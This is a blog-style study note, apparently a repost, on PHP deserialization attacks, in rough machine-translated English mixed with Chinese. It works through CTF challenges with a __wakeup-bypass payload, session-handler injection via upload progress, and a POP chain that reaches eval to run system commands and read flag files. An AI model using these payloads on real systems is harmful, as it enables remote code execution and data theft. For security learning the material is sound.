Note php deserialization

  1. Ordinary magic method
  2. After different public, private, protected property serialized
  3. Bypassing wakeup
  4. session deserialization
  5. phar deserialization

1. Ordinary magic method

__construct()

Creating a new object when the calls, but will not be called when unserialize ()

__destruct()

When the destruction of the object to be called

__sleep()

Function serialize () call when there is no first check this function, if there is called. This function returns a sequence of operations required deletion of member properties.

<?php 
class test{
    public $a="123";
    public $b="456";
    public function __sleep(){
        return ['b'];
    }
}
$test=new test();
echo serialize($test);
 ?>
 //输出:O:4:"test":1:{s:1:"b";s:3:"456";}
 //__sleep()只返回了成员$b,所以相当于删除了$a,$a不会进行序列互操作

__wakeup()

Function unserialize () function to check there is called, any first run. It can be used to modify the value of a variable.

<?php 
class test{
    public $a="123";
    public function __wakeup(){
        $this->a="aaaaaaaaaaa";
    }
}
$test=new test();
var_dump(unserialize('O:4:"test":1:{s:1:"a";s:3:"bbb";}'));

 ?>
//输出:object(test)#2 (1) { ["a"]=> string(11) "aaaaaaaaaaa" }
//因为__wakeup()修改了$a的值

__toString

An object value can not be directly output echo can be used var_dump (). But if the definition of a good __toString () method, you can directly echo the

<?php 
class test{
    public $a="aaa";
    public $b="bbb";
    public $c="ccc";
    public function __toString(){
        return $this->a."-".$this->b."-".$this->c;
    }
}
$test=new test();
echo $test;
 ?>
//输出 aaa-bbb-ccc

2.public, private, protected attribute different sequences of the

<?php 
class test{
    public $a="aaa";
    private $b="bbb";
    protected $c="ccc";
}
$test=new test();
echo serialize($test);
 ?>

浏览器上直接输出的是: O:4:"test":3:{s:1:"a";s:3:"aaa";s:7:"testb";s:3:"bbb";s:4:"*c";s:3:"ccc";}

If you look at the source code, it seems that there should be non-printable characters

Snipaste_2019-11-07_09-46-28.png

Output bit hexadecimal

Snipaste_2019-11-07_09-53-45.png

Here 00 separate hexadecimal and hexadecimal string into each other, pay attention and decimal conversion zone

public的序列化看起来是最正常的

private的序列化: \00test(test是类名)\00b(b是成员名)

protected的序列化:\00*\00c(c是成员名)

This is prompted to pay attention to when the deserialization \ 00

3. bypassing wakeup

Take for example a direct

<?php 
class SoFun{ 
  protected $file='index.php';
  function __destruct(){ 
    if(!empty($this->file)) {
      if(strchr($this-> file,"\\")===false &&  strchr($this->file, '/')===false)
        show_source(dirname (__FILE__).'/'.$this ->file);
      else
        die('Wrong filename.');
    }
  }  
  function __wakeup(){
   $this-> file='index.php';
  } 
  public function __toString(){
    return '' ;
  }
}     
if (!isset($_GET['file'])){ 
  show_source('index.php');
}
else{ 
  $file=base64_decode($_GET['file']); 
  echo unserialize($file); 
}
 ?> #<!--key in flag.php-->

First, we have to clearly read flag.php

The problem in the penultimate line thirty-four received parameter passed to get base64 decoding, and then deserialized

Let's look at this __destruct () method, strchr function limits / directory to the topic of security with drones, do not let any of you read the file, but all right, we just need to read flag.php

Now we have constructed poc, the index.php $ file property changed flag.php

shortly

<?php 
class SoFun{ 
  protected $file='flag.php';
}

$test=new SoFun();
$str=serialize($test);
echo $str;
echo "<br>";
echo base64_encode($str);
 ?> 
//输出
//O:5:"SoFun":1:{s:7:"\00*\00file";s:8:"flag.php";}  \00不可打印,但自己要记住
//Tzo1OiJTb0Z1biI6MTp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9

We pass

?file=Tzo1OiJTb0Z1biI6MTp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9

Found still show index.php, we ignore __wakeup () function.

For O: 5: "SoFun": 1: {s: 7: "\ 00 * \ 00file"; s: 8: "flag.php";} deserialization time, first performs the __wakeup (), this function in the title is forcibly changed to the value of $ file index.php, all no matter what we pass $ file value will always be index.php

The method of bypassing: ** When the string value indicating the sequence number of the object property is greater than the number of real property skip the __wakeup () execution **

O:5:"SoFun":1:{s:7:"\00*\00file";s:8:"flag.php";}

O:5:"SoFun":2:{s:7:"\00*\00file";s:8:"flag.php";}

The 1 to 2, and then base64 encoding.

echo base64_encode('O:5:"SoFun":2:{s:7:"\00*\00file";s:8:"flag.php";}');

Or not, to find information through:

<?php 
echo strlen("\00");
echo strlen('\00');
 ?> 
//第一个输出1,第二个输出3

The reason for the single quotes in php \ handle 00 is turn it into three characters, which is why we will fail, \ 00 ascii characters actually represent a 0, it is a character. Poc single quotes to contain them, so \ 00 ineffective.

<?php
echo base64_encode("O:5:\"SoFun\":2:{s:7:\"\00*\00file\";s:8:\"flag.php\";}");
//用双引号括起来,并且把里面的双引号用\转义,不然双引号匹配出错
//输出Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt93
 ?>

?file=Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt93

Snipaste_2019-11-07_09-53-45.png

Successfully read flag

There is another method,

<?php 
echo base64_encode('O:5:"SoFun":2:{S:7:"\00*\00file";s:8:"flag.php";}');
 ?> 
//输出Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==

Notes that there is a capital S , where S indicate \ 00 is the character after the escape, on behalf of ascii zero, so even if the base encoding when single quotation marks can also be

reference:

https://nobb.site/2016/09/13/0x22/

http://www.neatstudio.com/show-161-1.shtml

This question is not assumed base64 encoding:

<?php 
class SoFun{ 
  protected $file='index.php';
  function __destruct(){ 
    if(!empty($this->file)) {
      if(strchr($this-> file,"\\")===false &&  strchr($this->file, '/')===false)
        show_source(dirname (__FILE__).'/'.$this ->file);
      else
        die('Wrong filename.');
    }
  }  
  function __wakeup(){
   $this-> file='index.php';
  } 
  public function __toString(){
    return '' ;
  }
}     
if (!isset($_GET['file'])){ 
  show_source('index.php');
}
else{ 
  $file=$_GET['file'];   //唯一变化的地方
  echo unserialize($file); 
}
 ?> #<!--key in flag.php-->

Pass parameters directly get the words \ 00 is no way to pass in, let the server know you want to pass ascii character is 0, you have to be url encoded, the browser will decode and then passed their own servers, it is 00%

Snipaste_2019-11-07_15-56-26.png

Another important thing to pay attention to the version of php that he found it, I forget which version

4.session deserialization

Snipaste_2019-11-07_16-27-27.png

session.auto_start:不用你再去自己开启session_start()了

session.save_handler:保存的session的值的形式,一般是文件

session.save_path:保存文件的目录,我这里是win下边的phpstudy搭建的

session.serialize handler:有三种,默认的是php

<?php
    ini_set('session.serialize_handler','php');
    session_start();
    $_SESSION['value'] = 'aaaaa';
?>

访问这段代码,然后在C:\softeware\phpstudy\PHPTutorial\tmp\tmp目录,找到了sess_3ikqhdmr9jt0beid60d76u5g73这个文件,查看自己的session_id(F12看cookie):3ikqhdmr9jt0beid60d76u5g73,说明了session文件的命名规则:sess_(session_id)

查看文件内容value|s:5:"aaaaa";,value是键,|(竖线) 后边的是值

ini_set('session.serialize_handler','php');改为ini_set('session.serialize_handler','php_serialize');,再次访问,值得注意的是,版本高点才会有php_serialize这种方式

查看文件a:1:{s:5:"value";s:5:"aaaaa";}

另一个不看了,自己看去吧

问题类型一:

session.auto_start=Off

php里面默认的序列化方式是php,但是自己有时候会指定别的方式,比如php_serialize,这个时候因为序列化和反序列化的方式不同导致问题

foo1.php

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();

$_SESSION['ryat'] = $_GET['ryat'];
?>  

foo2.php

<?php
ini_set('session.serialize_handler', 'php');
//or session.serialize_handler set to php in php.ini 
session_start();

class ryat {
    var $hi;
    
    function __wakeup() {
        echo 'hi';
    }
    function __destruct() {
        echo $this->hi;
    }
}?>

访问

foo1.php?ryat=|O:4:"ryat":1:{s:2:"hi";s:4:"ryat";}

然后访问foo2.php发现执行了 echo "hi";

1.第一步访问foo1.php过后,tmp目录下文件内容

Snipaste_2019-11-07_18-07-39.png

payload其实就是foo2.php里面的类实例化后再序列化,但是前边要加一个|(竖线)

注意文件里面 竖线左边是键,右边是值(因为foo2.php里面反序列化的方式是php)

所以当我们访问foo2.php的时候,要读取再foo1.php里面的设置的session值并且进行反序列化,所有竖线右边的就被反序列化成了一个对象

问题类型二:

题目①:

lemon博客上的一道反序列化的源代码

php.ini的配置

session.serialize_handler: php_serialize 默认的php反序列化方式与指定的不同)

session.upload_progress.cleanup :Off

session.upload_progress.enabled :On

session.auto_start :Off

源代码实际有三个文件,phpinfo.php实际上是告诉你了配置信息

index.php

<?php
    ini_set('session.serialize_handler', 'php');
    //服务器反序列化使用的处理器是php_serialize,而这里使用了php,所以会出现安全问题
    require("./class.php");
    session_start();

    $obj = new foo1();
    $obj->varr = "phpinfo.php";
?>

class.php

<?php

highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);

class foo1{
    public $varr;
    function __construct(){
        $this->varr = "index.php";
    }
    function __destruct(){
        if(file_exists($this->varr)){
            echo "<br>文件".$this->varr."存在<br>";
        }
        echo "<br>这是foo1的析构函数<br>";
    }
}

class foo2{
    public $varr;
    public $obj;
    function __construct(){
        $this->varr = '1234567890';
        $this->obj = null;
    }
    function __toString(){
        $this->obj->execute();
        return $this->varr;
    }
    function __desctuct(){
        echo "<br>这是foo2的析构函数<br>";
    }
}

class foo3{
    public $varr;
    function execute(){
        eval($this->varr);
    }
    function __desctuct(){
        echo "<br>这是foo3的析构函数<br>";
    }
}

?>

根据问题类型一的思路,我们已经知道了有两个不同的反序列化处理方式,我们应该是先在有ini_set('session.serialize_handler', 'php_serialize');的地方写入 |(竖线)加上构造好的payload,让它写入session文件,然后我们访问index.php(反序列化方式为php)读取session文件实例化对象执行代码。可现在是,没有找到ini_set('session.serialize_handler', 'php_serialize'),并且最重要的是没有找到unserialize()我们能够控制输入的地方。

这里实际上用到了另外一个思路:session.upload_progress.enabled :On

上传一个文件,php会把这次上传文件的信息保存到session文件里面,文件的信息是我们可以控制的,所以通过这个把payload写入session文件,然后访问index.php(php处理器来反序列化session文件),原理和 问题一 是一样的。

payload:

<?php

highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);

class foo1{
    public $varr;
    function __construct(){
        $this->varr = new foo2();
        //new一个foo2的对象
    }
    function __destruct(){
        if(file_exists($this->varr)){
            echo "<br>文件".$this->varr."存在<br>";
        }
        echo "<br>这是foo1的析构函数<br>";
    }
}

class foo2{
    public $varr;
    public $obj;
    function __construct(){
        $this->varr = '1234567890';
        $this->obj = new foo3();
        //new一个foo3的对象
    }
    function __toString(){
        $this->obj->execute();
        return $this->varr;
    }
    function __desctuct(){
        echo "<br>这是foo2的析构函数<br>";
    }
}

class foo3{
    public $varr="system('whoami');";
    //要执行的东西
    function execute(){
        eval($this->varr);
    }
    function __desctuct(){
        echo "<br>这是foo3的析构函数<br>";
    }
}

$test=new foo1();
echo serialize($test);
//输出:O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:17:"system('whoami');";}}}

//还有执行了whoami的命令:desktop-2akj5ip\whoami_root
这是foo1的析构函数
?>

来看一下这个上传文件保存的session是啥样的。

html表单,我们要进行抓包,然后修改具体的值

<form action="http://127.0.0.1/phpinfo.php" method="POST" enctype="multipart/form-data">        
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />        
    <input type="file" name="file" />        
    <input type="submit" />
</form>
#这里index.php和phpinfo.php都可以,存在session_start()就可以,因为我们需要的是php_seralize这个默认方式来序列化数据,不过我这里传到index.php发现并没有生成session文件,phpinfo.php却可以,再说再说。

抓包,可以利用的地方是表单value的值和文件名字,这两处选一出就可以。

还有这个cookie,一定要和你访问的cookie对应起来,因为写入读取session文件都直接和你的cookie的值有关系。

Snipaste_2019-11-07_23-47-07.png

Pass on the construction of payload, random file names and are remembered to write about. You can see, payload also get a hold of, you can now use PHP (one of three ways, vertical line as the delimiter) to deserialize the. This time accessing index.php (ini_set ( 'session.serialize_handler', 'php')) on it.

QQ截图20191107235214.png

Snipaste_2019-11-07_23-56-53.png

Topic ②: Jarvis-phpinfo

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

parameter passing may be performed phpinfo get (), and then observe the contents of phpinfo.

Found php.ini settings

session.auto_start Off Off
session.upload_progress.enabled On On
session.serialize_handler php php_serialize
session.upload_progress.cleanup Off Off

Our findings are consistent with the conditions of use, the first structure poc:

<?php
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'system("ls");';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
echo serialize(new OowoO());

?>

Configuration upload file form

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>
#上传的时候序列化的方式是默认方式php_serialize

Note cookie when uploading it must be like yo.

Snipaste_2019-11-08_10-05-00.png

Found no response, the local reproduction success, wanted function will not be disabled or privileges relatively low, you can think about, here and there is no echo is not related to yo.

However, there are several functions:

print_r (),scandir(),var_dump(),glob(),file_get_contents(),rename(),unlink(),rmdir(),fwirte(),fopen()You can try (I want to fill it to write a pony when it is found rename, delete files, write files not function, but assert it is possible)

poc changed$this->mdzz = "print_r(scandir('./'));";

First look at things so what's the current directory:

Snipaste_2019-11-08_10-07-40.png

Found not in the current directory, just kept on going, found. (Dot) can not use, so I had to use absolute directory, looked under phpinfo.php, find the file in / opt / lampp / htdocs / bottom, structure$this->mdzz = "print_r(scandir('/opt/lampp/htdocs/'));";

Snipaste_2019-11-08_10-11-10.png

Direct access to the flag file is blank, according to the name may be deliberately do not want you to see, so use file_get_contents () to read the file

$this->mdzz = "print_r(file_get_contents('/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php'));";

Snipaste_2019-11-08_10-18-59.png

Guess you like

Origin www.cnblogs.com/zaqzzz/p/11818706.html